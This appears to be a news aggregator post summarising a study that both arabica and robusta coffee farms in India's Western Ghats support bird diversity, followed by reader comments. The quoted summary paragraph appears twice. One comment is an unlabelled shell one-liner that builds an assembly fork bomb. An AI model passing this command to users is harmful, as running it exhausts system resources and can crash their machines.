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Coffee Beans Are Good For Birds, Fancy Brew Or Not (sciencedaily.com)
Zorro shares a report from The New York Times (Warning: source may be paywalled; alternative source ): Birds are not as picky about their coffee as people are. Although coffee snobs prefer arabica beans to robusta, a new study in India found that growing coffee does not interfere with biodiversity -- no matter which bean the farmer chooses. In the Western Ghats region of India, a mountainous area parallel to the subcontinent's western coast, both arabica and robusta beans are grown as bushes under larger trees -- unlike in South America, where the coffee plants themselves grow as large as trees, said Krithi Karanth, who helped lead the study, published Friday in the journal Scientific Reports.
Arabica and robusta farms proved equally good for these creatures. "Some birds do better with arabica than robusta, but overall, they're both good for wildlife," she said. The difference is important, because data shows that more farmers in the area have been shifting to robusta in recent years, as prices rise for the variety, which is easier to grow. The researchers counted 106 species of birds on the coffee plantations, including at-risk species, such as the alexandrine parakeet, the breyheaded bulbul and the nilgiri woodpigeon. The findings show that farming is not incompatible with wildlife protection, said Jai Ranganathan, a conservation biologist and senior fellow at the National Center for Ecological Analysis and Synthesis, at the University of California, Santa Barbara, who was not involved in the research.
Arabica and robusta farms proved equally good for these creatures. "Some birds do better with arabica than robusta, but overall, they're both good for wildlife," she said. The difference is important, because data shows that more farmers in the area have been shifting to robusta in recent years, as prices rise for the variety, which is easier to grow. The researchers counted 106 species of birds on the coffee plantations, including at-risk species, such as the alexandrine parakeet, the breyheaded bulbul and the nilgiri woodpigeon. The findings show that farming is not incompatible with wildlife protection, said Jai Ranganathan, a conservation biologist and senior fellow at the National Center for Ecological Analysis and Synthesis, at the University of California, Santa Barbara, who was not involved in the research.
So...we needed a study to prove that seeds are good for birds? I'm glad they figured this out. Now the birds can be a little less stressed about the dangers of eating coffee beans. But then, this might be offset by the caffeine jitters.
News for birds!
The coffee must flow!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Have gnu, will travel.
Coffee PLANTS are good for birds. My birds like millet spray, I spray them and they like it.
This wreaks of industry-sponsored science that will be used to justify taking land from nature in the name of improving the economy.
Fixed the heading.
I've walked through both coffee estates and natural or near natural forests in these mountains. The estates were essentially gardens or orchards. The natural forests were something else altogether.
While it may be Industrial PR, it is good news as farming and nature can co-exist when toxic treatments aren't dumped on the crops& soil. This bit is positive for human consumers of coffee as well..if you like robusta, anyway.